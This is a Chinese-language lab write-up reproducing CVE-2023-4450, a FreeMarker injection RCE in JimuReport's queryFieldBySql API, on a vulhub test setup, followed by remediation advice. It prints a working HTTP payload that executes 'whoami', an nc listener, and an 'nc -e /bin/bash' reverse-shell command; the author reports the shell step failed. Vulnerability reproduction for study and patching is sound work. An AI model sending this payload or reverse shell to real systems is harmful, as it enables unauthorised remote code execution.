一、基本信息
-
漏洞名称:Jeect-boot queryFieldBySql接口RCE漏洞
-
漏洞编号:CVE-2023-4450
-
漏洞等级:高
-
报告日期:2024/12/9
-
复现环境:kali2023
-
受影响版本:JimuReport < 1.6.1
二、漏洞描述
JimuReport 是基于 Java 语言开发的,使用了多种开源技术栈。jeect-boot积木报表由于未授权的 API /jmreport/queryFieldBySql 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生,攻击者可以通过发送特定的POST请求到/jeecg-boot/jmreport/queryFieldBySql接口,其中包含恶意的SQL语句,利用Freemarker解析执行任意代码
三、复现步骤
-
准备复现环境
-
选择两台虚拟机器,一台作为靶机
ip:192.168.80.129 ubentu
192.168.80.131 kali
-
选择vulhub的漏洞环境
docker-compose up -d
另一台作为攻击机使用nc反弹shell
docker-compose up -d
物理机则使用yakit对调用目标接口发包实现执行命令的目
-
复现步骤
-
步骤一环境拉取:先在kali中拉取docker-compose,注意需要占用kali的5005和8085以及3306端口,端口占用会导致拉取失败

-
步骤二:在物理机中访问 虚拟机ip/8085端口进入设计文档页面

-
步骤三:使用yakit向网站进行抓包改包发包,验证漏洞的存在性
payload:
POST /jmreport/queryFieldBySql HTTP/1.1 Host: ip/8085 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json Content-Length: 100 {"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami\")}'" }验证得出确实存在任意命令执行漏洞,此处执行解析了whoami的命令

-
步骤四:在ubentu22中执行,用以监听getshell
nc -lvp 8888 -
步骤五:将yakit发包中的命令whoami改为
nc -e /bin/bash ip 端口用以执行反弹shell
-
-
触发漏洞
-
预期结果:
-


行不通,可能是不同版本开发者对于这个接口请求设置的权限不同?
五、修复建议
-
过滤输入:对表名和字段名进行严格过滤,防止攻击者构造恶意请求。可以使用正则表达式过滤非法字符或采用白名单限制用户只能输入预定义的表名和字段名。
-
更新组件:确保JimuReport组件更新到最新版本,以修复已知的漏洞。
-
安全审计:定期进行代码审计和安全测试,确保及时发现并修复潜在的安全问题。
-
权限控制:加强对API接口的权限控制,确保只有授权用户可以访问敏感接口
Jeect-boot queryFieldBySql接口RCE漏洞复现
3665

被折叠的 条评论
为什么被折叠?



